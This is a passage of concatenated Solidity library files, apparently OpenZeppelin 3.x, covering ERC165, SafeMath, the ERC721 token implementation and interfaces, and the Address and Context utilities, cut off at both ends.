contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../math/SafeMath.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the 